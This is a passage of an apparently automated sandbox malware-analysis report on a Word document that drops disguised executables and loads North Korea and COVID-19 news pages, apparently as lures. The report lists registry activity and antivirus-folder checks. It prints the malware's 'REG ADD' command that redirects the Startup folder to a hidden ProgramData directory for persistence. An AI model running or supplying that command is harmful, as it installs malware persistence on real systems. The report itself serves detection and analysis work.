"00000000-00002996.00000001.69499.001C0000.00000004.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp")3b:Tcb6,"tlworker.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%ALLUSERSPROFILE%\a7963\tlworker.exe]- [targetUID: 00000000-00003576] "Tar24D2.tmp" has type "data"- Location: [%TEMP%\Tar24D2.tmp]- [targetUID: 00000000-00002692] "urlref_httpswww.un.orgencoronaviruscovid-19-faqs" has type "HTML document UTF-8 Unicode text with very long lines with CRLF LF line terminators"- [targetUID: N/A] "urlref_httpswww.nknews.org202008unicef-says-north-korea-decided-to-temporarily-close-nampho-port-late-julyt_1604306607548" has type "HTML document UTF-8 Unicode text with very long lines"- [targetUID: N/A] "urlref_httpswww.nknews.org202010north-korea-urges-people-indoors-fearing-dust-from-china-will-spread-covid-19t_1604306607548" has type "HTML document UTF-8 Unicode text with very long lines"- [targetUID: N/A] "urlref_httpswww.nknews.org202008kaesong-lockdown-lifted-at-north-korean-politburo-meeting-led-by-kim-jong-unt_1603769778434" has type "HTML document UTF-8 Unicode text with very long lines"- [targetUID: N/A] "urlref_httpswww.nknews.orgprofull-text-north-koreas-decree-to-shoot-people-illegally-approaching-bordert_1603703245483" has type "HTML document UTF-8 Unicode text with very long lines"- [targetUID: N/A] "Liebert.bmp" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\Liebert.bmp]- [targetUID: 00000000-00002996] "77EC63BDA74BD0D0E0426DC8F8008506" has type "Microsoft Cabinet archive data Windows 2000/XP setup 63843 bytes 1 file at 0x2c +A "authroot.stl" number 1 6 datablocks 0x1 compression"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506]- [targetUID: 00000000-00002692] "~WRS_03ED77F5-2D36-4557-BA62-A3A284FB6B17_.tmp" has type "dBase III DBT version number 0 next free block index 13"- [targetUID: N/A] "file.LNK" has type "MS Windows shortcut Item id list present Points to a file or directory Has Relative path Archive ctime=Mon Jul 10 06:30:27 2023 mtime=Mon Jul 10 06:30:27 2023 atime=Mon Jul 10 06:29:50 2023 length=53248 window=hide"- Location: [%APPDATA%\Microsoft\Office\Recent\file.LNK]- [targetUID: 00000000-00002692] "77EC63BDA74BD0D0E0426DC8F8008506" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506]- [targetUID: 00000000-00002692] "~_Normal.dotm" has type "data"- [targetUID: N/A] "index.dat" has type "data"- Location: [%APPDATA%\Microsoft\Office\Recent\index.dat]- [targetUID: 00000000-00002692] "ExcludeDictionaryEN0409.lex" has type "Little-endian UTF-16 Unicode text with no line terminators"- Location: [%APPDATA%\Microsoft\UProof\ExcludeDictionaryEN0409.lex]- [targetUID: 00000000-00002692] "spolsve.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%APPDATA%\Microsoft\Windows\Templates\spolsve.exe]- [targetUID: 00000000-00002996] "~_file.doc" has type "data"- [targetUID: N/A] "TEMP_1_.so" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "Cab24D1.tmp" has type "Microsoft Cabinet archive data Windows 2000/XP setup 63843 bytes 1 file at 0x2c +A "authroot.stl" number 1 6 datablocks 0x1 compression"- Location: [%TEMP%\Cab24D1.tmp]- [targetUID: 00000000-00002692]3c:T85f,"WINWORD.EXE" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\WINDOWS ERROR REPORTING\WMR"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SETUP"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKCU\.EXE"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\.EXE"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKCU\.EXE\OPENWITHPROGIDS"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\.EXE\OPENWITHPROGIDS"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FILEEXTS\.EXE\OPENWITHPROGIDS"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FILEEXTS\.EXE\OPENWITHPROGIDS"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FILEEXTS\.EXE"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FILEEXTS\.EXE\"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FILEEXTS\.EXE\USERCHOICE"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKCU\EXEFILE"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\EXEFILE"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKCU\EXEFILE\CURVER"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\EXEFILE\CURVER"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\EXEFILE\"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKCU\EXEFILE\SHELLEX\ICONHANDLER"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\EXEFILE\SHELLEX\ICONHANDLER"; Key: ""; Value: "")3d:Ta50,"WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\WINDOWS ERROR REPORTING\WMR"; Key: "DISABLE"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SETUP"; Key: "SOURCEPATH"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION"; Key: "DEVICEPATH"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\.EXE"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\EXEFILE"; Key: "DOCOBJECT"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\SYSTEMFILEASSOCIATIONS\.EXE"; Key: "DOCOBJECT"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\EXEFILE"; Key: "BROWSEINPLACE"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\SYSTEMFILEASSOCIATIONS\.EXE"; Key: "BROWSEINPLACE"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\.EXE"; Key: "CONTENT TYPE"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\EXEFILE"; Key: "ISSHORTCUT"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\SYSTEMFILEASSOCIATIONS\.EXE"; Key: "ISSHORTCUT"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\EXEFILE"; Key: "ALWAYSSHOWEXT"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\SYSTEMFILEASSOCIATIONS\.EXE"; Key: "ALWAYSSHOWEXT"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\EXEFILE"; Key: "NEVERSHOWEXT"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\SYSTEMFILEASSOCIATIONS\.EXE"; Key: "NEVERSHOWEXT"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\EXEFILE\SHELLEX\CONTEXTMENUHANDLERS\COMPATIBILITY"; Key: "SUPPRESSIONPOLICY"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\EXEFILE\SHELLEX\CONTEXTMENUHANDLERS\COMPATIBILITY"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKCU\*\SHELLEX\CONTEXTMENUHANDLERS\ FILESYNCEX"; Key: "SUPPRESSIONPOLICY"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKCU\*\SHELLEX\CONTEXTMENUHANDLERS\ FILESYNCEX"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\*\SHELLEX\CONTEXTMENUHANDLERS\7-ZIP"; Key: "SUPPRESSIONPOLICY"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\*\SHELLEX\CONTEXTMENUHANDLERS\7-ZIP"; Key: ""; Value: "")3e:T4e7,Found string "/c REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d %ALLUSERSPROFILE%\a7963" (Indicator: "currentversion\explorer\user shell folders"; in File: "cmd.exe") Found string "REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d %ALLUSERSPROFILE%\a7963" (Indicator: "currentversion\explorer\user shell folders"; in File: "reg.exe") Found string "cmd.exe /c REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\ProgramData\a7963" (Indicator: "currentversion\explorer\user shell folders"; in Source: "00000000-00003576.00000000.69817.0012B000.00000004.mdmp, 00000000-00003576.00000001.71736.00127000.00000004.mdmp, 00000000-00003576.00000002.73655.00127000.00000004.mdmp") Found string "REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\ProgramData\a7963" (Indicator: "currentversion\explorer\user shell folders"; in Source: "00000000-00003576.00000000.69817.0012B000.00000004.mdmp, 00000000-00003576.00000001.71736.00127000.00000004.mdmp, 00000000-00003576.00000002.73655.00127000.00000004.mdmp")3f:T628,"spolsve.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Templates\OLEDLG.DLL" "spolsve.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Templates\OLEPRO32.DLL" "spolsve.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Templates\FLTLIB.DLL" "spolsve.exe" trying to access non-existent file "C:\Windows\System32\API-MS-WIN-CORE-FIBERS-L1-1-1.DLL" "spolsve.exe" trying to access non-existent file "C:\Windows\System32\API-MS-WIN-CORE-LOCALIZATION-L1-2-1.DLL" "spolsve.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Templates\DNSAPI.DLL" "spolsve.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Templates\CMD.EXE" "spolsve.exe" trying to access non-existent file "C:\cmd.exe" "spolsve.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Templates\SSPICLI.DLL" "spolsve.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Templates\RASADHLP.DLL" "cmd.exe" trying to access non-existent file "C:\Windows\System32\API-MS-WIN-CORE-FIBERS-L1-1-1.DLL" "cmd.exe" trying to access non-existent file "C:\Windows\System32\API-MS-WIN-CORE-LOCALIZATION-L1-2-1.DLL" "reg.exe" trying to access non-existent file "C:\Windows\System32\API-MS-WIN-CORE-FIBERS-L1-1-1.DLL" "reg.exe" trying to access non-existent file "C:\Windows\System32\API-MS-WIN-CORE-LOCALIZATION-L1-2-1.DLL"40:T529,"spolsve.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Templates\SPOLSVE.EXE.LOCAL" "spolsve.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Templates\WINSPOOL.DRV" "spolsve.exe" trying to access non-existent file "\Device\RasAcd" "spolsve.exe" trying to access non-existent file "C:\ProgramData\AVAST SOFTWARE" "spolsve.exe" trying to access non-existent file "C:\ProgramData\AVIRA" "spolsve.exe" trying to access non-existent file "C:\ProgramData\KASPERSKY LAB" "spolsve.exe" trying to access non-existent file "C:\ProgramData\ESET" "spolsve.exe" trying to access non-existent file "C:\ProgramData\PANDA SECURITY" "spolsve.exe" trying to access non-existent file "C:\ProgramData\DOCTOR WEB" "spolsve.exe" trying to access non-existent file "C:\ProgramData\AVG" "spolsve.exe" trying to access non-existent file "C:\ProgramData\360TOTALSECURITY" "spolsve.exe" trying to access non-existent file "C:\ProgramData\BITDEFENDER" "spolsve.exe" trying to access non-existent file "C:\ProgramData\NORTON" "spolsve.exe" trying to access non-existent file "C:\ProgramData\SOPHOS" "spolsve.exe" trying to access non-existent file "C:\ProgramData\COMODO" "spolsve.exe" trying to access non-existent file "C:\ProgramData\A7963"41:T6b7,file/memory contains long string with (Indicator: ".googleapis.com"; File: "urlref_httpswww.nknews.orgprofull-text-north-koreas-decree-to-shoot-people-illegally-approaching-bordert_1603703245483") Found string "" (Indicator: ".googleapis.com"; File: "urlref_httpswww.nknews.orgprofull-text-north-koreas-decree-to-shoot-people-illegally-approaching-bordert_1603703245483") file/memory contains long string with (Indicator: ".googleapis.com"; File: "urlref_httpswww.nknews.org202010north-korea-urges-people-indoors-fearing-dust-from-china-will-spread-covid-19t_1604306607548") Found string "" (Indicator: ".googleapis.com"; File: "urlref_httpswww.nknews.org202010north-korea-urges-people-indoors-fearing-dust-from-china-will-spread-covid-19t_1604306607548") file/memory contains long string with (Indicator: ".googleapis.com"; File: "urlref_httpswww.nknews.org202008kaesong-lockdown-lifted-at-north-korean-politburo-meeting-led-by-kim-jong-unt_1603769778434") file/memory contains long string with (Indicator: ".googleapis.com"; File: "urlref_httpswww.nknews.org202008unicef-says-north-korea-decided-to-temporarily-close-nampho-port-late-julyt_1604306607548") file/memory contains long string with (Indicator: ".googleapis.com"; File: "urlref_httpswww.un.orgencoronaviruscovid-19-faqs") Found string "" (Indicator: ".googleapis.com"; File: "urlref_httpswww.un.orgencoronaviruscovid-19-faqs")42:T7380,Pattern match: "https://www.nknews.org/2020/08/kaesong-lockdown-lifted-at-north-korean-politburo-meeting-led-by-kim-jong-un/?t=1603769778434" Pattern match: "https://www.nknews.org/2020/10/north-korea-urges-people-indoors-fearing-dust-from-china-will-spread-covid-19/?t=1604306607548" Pattern match: "https://www.un.org/en/coronavirus/covid-19-faqs" Pattern match: "https://www.nknews.org/2020/08/unicef-says-north-korea-decided-to-temporarily-close-nampho-port-late-july/?t=1604306607548" Pattern match: "https://www.nknews.org/pro/full-text-north-koreas-decree-to-shoot-people-illegally-approaching-border/?t=1603703245483" Pattern match: "crl.microsoft.com/pki/crl/products/MicCerLisCA2011_2011-03-29.crl0]Q0O0MAhttp://www.microsoft.com/pki/certs/MicCerLisCA2011_2011-03-29.crt0`J2K#QD2%E?]$W_GvCa2j+&|@jY?\zHcyNf" Pattern match: "https://www.nknews.org/2020/08/kaesong-lockdown-lifted-at-north-korJ" Pattern match: "http://schemas.openxmlformats.org/drawingml/2006/main" Pattern match: "https://www.nknews.org/2020/08/kaesong-lockdown-lifted-at-north-korean-politburo-meeting-led-by-kim-jong-un/?t=1603769778434i{https://www.nknews.org/2020/08/unicef-says-north-korea-decided-to-temporarily-close-nampho-port-late-july/?t=1604306607548" Pattern match: "https://www.nknews.org/2020/10/north-korea-urges-people-indoors-fearing-dust-from-china-will-spread-covid-19/?t=1604306607548h8whttps://www.nknews.org/pro/full-text-north-koreas-decree-to-shoot-people-illegally-approaching-border/?t=1603703245483,30https:/" Pattern match: "www.rabadaun.com" Pattern match: "https://cmp.quantcast.com" Pattern match: "https://www.nknews.org/pro/wp-content/themes/nkpro/favicon.png" Pattern match: "https://www.nknews.org/pro/full-text-north-koreas-decree-to-shoot-people-illegally-approaching-border/" Pattern match: "https://www.nknews.org/pro/wp-content/uploads/sites/4/2020/10/34174297326_462c4977ce_k-1-535x325.jpg" Pattern match: "https://schema.org,@graph:[{@type:WebPage,@id:https://www.nknews.org/pro/full-text-north-koreas-decree-to-shoot-people-illegally-approaching-border/,url:https://www.nknews.org/pro/full-text-north-koreas-decree-to-shoot-people-illegally-approa" Pattern match: "www.google.com" Pattern match: "www.google-analytics.com" Pattern match: "www.gstatic.com" Pattern match: "https://www.nknews.org/pro/feed/" Pattern match: "https://www.nknews.org/pro/comments/feed/" Pattern match: "https://federated.press/@nknews" Pattern match: "www.nknews.org\/pro\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.2.2" Pattern match: "https://www.nknews.org/pro/wp-includes/css/dist/block-library/style.min.css?ver=6.2.2" Pattern match: "https://www.nknews.org/pro/wp-includes/css/classic-themes.min.css?ver=6.2.2" Pattern match: "https://www.nknews.org/pro/wp-content/themes/nkpro/css/jquery.bxslider.css" Pattern match: "https://www.nknews.org/pro/wp-content/plugins/twenty20/assets/css/twenty20.css?ver=1.6.1" Pattern match: "https://www.nknews.org/pro/wp-content/plugins/leaky-paywall//css/issuem-leaky-paywall.css?ver=4.10.15" Pattern match: "https://www.nknews.org/pro/wp-content/themes/nkpro/css/font-awesome.min.css" Pattern match: "https://www.nknews.org/pro/wp-content/themes/nkpro/css/fontello.css" Pattern match: "https://www.nknews.org/pro/wp-content/themes/nkpro/css/bootstrap.min.css" Pattern match: "https://cdn.jsdelivr.net/npm/simple-scrollbar@latest/simple-scrollbar.css" Pattern match: "https://www.nknews.org/pro/wp-content/themes/nkpro/css/mCustomScrollbar.css" Pattern match: "https://www.nknews.org/pro/wp-content/themes/nkpro/css/bootstrap-select.css?ver=6.2.2" Pattern match: "https://www.nknews.org/pro/wp-content/themes/nkpro/css/dataTables.min.css?ver=6.2.2" Pattern match: "https://www.nknews.org/pro/wp-content/themes/nkpro/css/bootstrap-datepicker.min.css?ver=6.2.2" Pattern match: "https://www.nknews.org/pro/wp-content/themes/nkpro/style.css?ver=1688713615" Pattern match: "https://www.nknews.org/pro/wp-content/themes/nkpro/css/lity.min.css" Pattern match: "https://www.nknews.org/pro/wp-includes/js/mediaelement/mediaelementplayer-legacy.min.css?ver=4.2.17" Pattern match: "https://www.nknews.org/pro/wp-includes/js/mediaelement/wp-mediaelement.min.css?ver=6.2.2" Pattern match: "https://www.nknews.org/pro/wp-content/themes/nkpro/css/rst_responsive.css?ver=1688713614" Pattern match: "https://www.nknews.org/pro/wp-content/themes/nkpro/css/responsive.css?ver=1688713614" Pattern match: "https://www.nknews.org/pro/wp-content/plugins/leaky-paywall-ajax/js/es6-promise.auto.min.js" Pattern match: "https://www.nknews.org/pro/wp-includes/js/jquery/jquery.min.js?ver=3.6.4" Pattern match: "https://www.nknews.org/pro/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.0" Pattern match: "https://www.nknews.org/pro/wp-content/themes/nkpro/js/popper.min.js" Pattern match: "https://www.nknews.org/pro/wp-content/themes/nkpro/js/bootstrap.min.js" Pattern match: "https://www.nknews.org/pro/wp-content/plugins/leaky-paywall-ajax/js/leaky-paywall-ajax.js?ver=45335" Pattern match: "https://www.nknews.org/pro/wp-content/plugins/svg-support/vendor/DOMPurify/DOMPurify.min.js?ver=1.0.1" Pattern match: "https://www.nknews.org/pro/wp-content/plugins/svg-support/js/min/svgs-inline-min.js?ver=1.0.1" Pattern match: "https://www.nknews.org/pro/wp-content/plugins/wp-retina-2x/app/retina.min.js?ver=1688713614" Pattern match: "https://www.nknews.org/pro/wp-content/themes/nkpro/js/loader.js" Pattern match: "https://api.w.org/" Pattern match: "https://www.nknews.org/pro/wp-includes/wlwmanifest.xml" Pattern match: "https://www.nknews.org/pro/?p=2186477" Pattern match: "https://www.nknews.org/pro/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fwww.nknews.org%2Fpro%2Ffull-text-north-koreas-decree-to-shoot-people-illegally-approaching-border%2F" Pattern match: "https://www.nknews.org/pro/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fwww.nknews.org%2Fpro%2Ffull-text-north-koreas-decree-to-shoot-people-illegally-approaching-border%2F&format=xml" Pattern match: "https://www.nknews.org/pro" Pattern match: "https://www.nknews.org/pro/wp-content/plugins/onesignal-free-web-push-notifications/sdk_files/" Pattern match: "https://www.nknews.org/pro/wp-content/themes/nkpro/images/logo.png" Pattern match: "https://www.nknews.org" Pattern match: "https://kcnawatch.org" Pattern match: "https://koreapro.org" Pattern match: "https://www.nknews.org/pro/wp-content/themes/nkpro/images/logo-dark.png" Pattern match: "https://www.nknews.org/pro/category/news/" Pattern match: "https://www.nknews.org/pro/category/analysis/" Pattern match: "https://www.nknews.org/pro/tag/timelines/" Pattern match: "https://www.nknews.org/pro/nk-aviation-tracker/" Pattern match: "https://www.nknews.org/pro/nk-leadership-tracker/" Pattern match: "https://www.nknews.org/pro/nk-missile-tracker/" Pattern match: "https://www.nknews.org/pro/nk-leadership-organogram/" Pattern match: "https://www.nknews.org/pro/north-korea-ship-tracking/" Pattern match: "https://www.nknews.org/pro/nk-delegation-tracker/" Pattern match: "https://www.nknews.org/pro/north-korea-statistics-database/" Pattern match: "https://www.nknews.org/pro/import-export/" Pattern match: "https://www.nknews.org/pro/about-the-energy-price-index/" Pattern match: "https://www.nknews.org/pro/north-korea-exchange-rate-index/" Pattern match: "https://www.nknews.org/pro/coronavirus-in-north-korea-tracker/" Pattern match: "https://www.nknews.org/pro/north-korea-company-database/" Pattern match: "https://www.nknews.org/pro/institutional-directory/" Pattern match: "https://www.nknews.org/pro/experts/" Pattern match: "https://www.nknews.org/pro/documents/" Pattern match: "https://www.nknews.org/pro/nk-aggregator/" Pattern match: "https://www.nknews.org/pro/sources/" Pattern match: "https://www.nknews.org/pro/advanced-search/" Pattern match: "https://www.nknews.org/pro/create-chart/" Pattern match: "https://www.nknews.org/pro/category/month-in-review/" Pattern match: "https://support.nknews.org/index/" Pattern match: "https://membership.nknews.org/welcome-to-nk-pro/" Pattern match: "https://signup.nknews.org/nk-pro" Pattern match: "https://www.nknews.org/pro/content_author/jeongmin-kim" Pattern match: "https://www.nknews.org/pro/wp-content/uploads/sites/4/2020/10/34174297326_462c4977ce_k-1-935x500.jpg" Pattern match: "https://www.facebook.com/sharer/sharer.php?u=https://www.nknews.org/pro/full-text-north-koreas-decree-to-shoot-people-illegally-approaching-border/" Pattern match: "https://twitter.com/intent/tweet?text=NK" Pattern match: "https://signup.nknews.org/nk-pro/" Pattern match: "https://www.nknews.org/pro/why-us-north-korea-talks-are-more-likely-now-than-at-any-time-during-pandemic/" Pattern match: "https://www.nknews.org/pro/how-the-world-may-have-missed-out-on-seeing-north-koreas-prison-camps-in-person/" Pattern match: "https://www.nknews.org/pro/state-media-review-north-korea-claims-economic-success-but-admits-shortages/" Pattern match: "https://www.nknews.org/pro/wp-content/uploads/2019/12/jeongmin_kim_nknews_krg-40x40.jpg" Pattern match: "https://twitter.com/@jeongminnkim" Pattern match: "https://www.nknews.org/pro/contact/" Pattern match: "https://www.nknews.org/frequently-asked-questions-about-nk-news/" Pattern match: "https://www.nknews.org/pro/privacy-policy/" Pattern match: "https://www.nknews.org/pro/terms-and-conditions-nk-news-pro/" Pattern match: "https://www.korearisk.com" Pattern match: "https://www.nknews.org/pro/wp-content/themes/nkpro/images/nk-pro-ie-icon.png" Pattern match: "https://www.nknews.org/pro/wp-content/themes/nkpro/images/dark_bg.jpg" Pattern match: "https://www.nknews.org/pro/full-text-north-koreas-decree-to-shoot-people-illegally-approaching-border/?popup=signin" Pattern match: "https://policies.google.com/privacy" Pattern match: "https://policies.google.com/terms" Pattern match: "https://www.nknews.org/pro/full-text-north-koreas-decree-to-shoot-people-illegally-approaching-border/?popup=forgetpw" Pattern match: "https://www.nknews.org/pro/wp-content/themes/nkpro/images/nk-private-browsing-icon.png" Pattern match: "nknews.org/pro" Pattern match: "https://stats.nknews.org/" Pattern match: "https://www.nknews.org/pro/wp-content/themes/nkpro/js/jquery.bxslider.min.js" Pattern match: "https://www.nknews.org/pro/wp-content/plugins/twenty20/assets/js/jquery.twenty20.js?ver=1.6.1" Pattern match: "https://www.nknews.org/pro/wp-content/plugins/twenty20/assets/js/jquery.event.move.js?ver=1.6.1" Pattern match: "https://www.nknews.org/pro/wp-content/themes/nkpro/js/lity.min.js" Pattern match: "https://www.nknews.org/pro/wp-includes/js/mediaelement/mediaelement-and-player.min.js?ver=4.2.17" Pattern match: "https://www.nknews.org/pro/wp-includes/js/mediaelement/mediaelement-migrate.min.js?ver=6.2.2" Pattern match: "https://www.nknews.org/pro/wp-includes/js/mediaelement/wp-mediaelement.min.js?ver=6.2.2" Pattern match: "https://www.google.com/recaptcha/api.js?onload=recaptchaLoaded&render=explicit" Pattern match: "https://www.nknews.org/pro/wp-content/themes/nkpro/js/enscroll-0.6.2.min.js" Pattern match: "https://www.nknews.org/pro/wp-content/themes/nkpro/js/datatables.min.js" Pattern match: "https://www.nknews.org/pro/wp-content/themes/nkpro/js/jquery.marquee.js" Pattern match: "https://cdn.jsdelivr.net/npm/simple-scrollbar@latest/simple-scrollbar.min.js" Pattern match: "https://www.nknews.org/pro/wp-content/themes/nkpro/js/mCustomScrollbar.concat.min.js" Pattern match: "https://www.nknews.org/pro/wp-content/themes/nkpro/js/bootstrap-select.js" Pattern match: "https://www.nknews.org/pro/wp-content/themes/nkpro/js/jquery.touchSwipe.min.js" Pattern match: "https://www.nknews.org/pro/wp-content/themes/nkpro/js/jquery.sticky.js" Pattern match: "https://www.nknews.org/pro/wp-content/themes/nkpro/js/stickyfill.min.js" Pattern match: "www.nknews.org\/pro\/wp-admin\/admin-ajax.php" Pattern match: "https://www.nknews.org/pro/wp-content/themes/nkpro/js/custom.js?ver=1688713615" Pattern match: "https://cdn.onesignal.com/sdks/OneSignalSDK.js?ver=6.2.2" Pattern match: "https://www.nknews.org/pro/wp-content/plugins/wp-rocket/assets/js/lazyload/17.8.3/lazyload.min.js" Pattern match: "https://contact.nknews.org/modules/chat/js/widget.js?v=4059" Pattern match: "http://gmpg.org/xfn/11" Pattern match: "https://www.nknews.org/wp-content/themes/nknews/favicon.png" Pattern match: "https://www.nknews.org/2020/10/north-korea-urges-people-indoors-fearing-dust-from-china-will-spread-covid-19/" Pattern match: "https://www.facebook.com/nknewsorg" Pattern match: "https://www.nknews.org/wp-content/uploads/2020/10/KCTV_yellow-dust_102021_PM2_virus-535x325.png" Pattern match: "https://schema.org,@graph:[{@type:Article,@id:https://www.nknews.org/2020/10/north-korea-urges-people-indoors-fearing-dust-from-china-will-spread-covid-19/#article,isPartOf:{@id:https://www.nknews.org/2020/10/north-korea-urges-people-indoor" Pattern match: "https://fonts.gstatic.com" Pattern match: "www.nknews.org\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.2.2" Pattern match: "https://www.nknews.org/wp-includes/css/dist/block-library/style.min.css?ver=6.2.2" Pattern match: "https://www.nknews.org/wp-includes/css/classic-themes.min.css?ver=6.2.2" Pattern match: "https://www.nknews.org/wp-content/themes/nknews/css/jquery.bxslider.css" Pattern match: "https://www.nknews.org/wp-content/plugins/twenty20/assets/css/twenty20.css?ver=1.6.1" Pattern match: "https://www.nknews.org/wp-content/plugins/leaky-paywall//css/issuem-leaky-paywall.css?ver=4.10.15" Pattern match: "https://www.nknews.org/wp-content/plugins/leaky-paywall-coupons//css/leaky-paywall-coupons.css?ver=1.7.0" Pattern match: "https://www.nknews.org/wp-content/themes/nknews/css/font-awesome.min.css" Pattern match: "https://www.nknews.org/wp-content/themes/nknews/css/bootstrap.min.css" Pattern match: "https://www.nknews.org/wp-includes/js/mediaelement/mediaelementplayer-legacy.min.css?ver=4.2.17" Pattern match: "https://www.nknews.org/wp-includes/js/mediaelement/wp-mediaelement.min.css?ver=6.2.2" Pattern match: 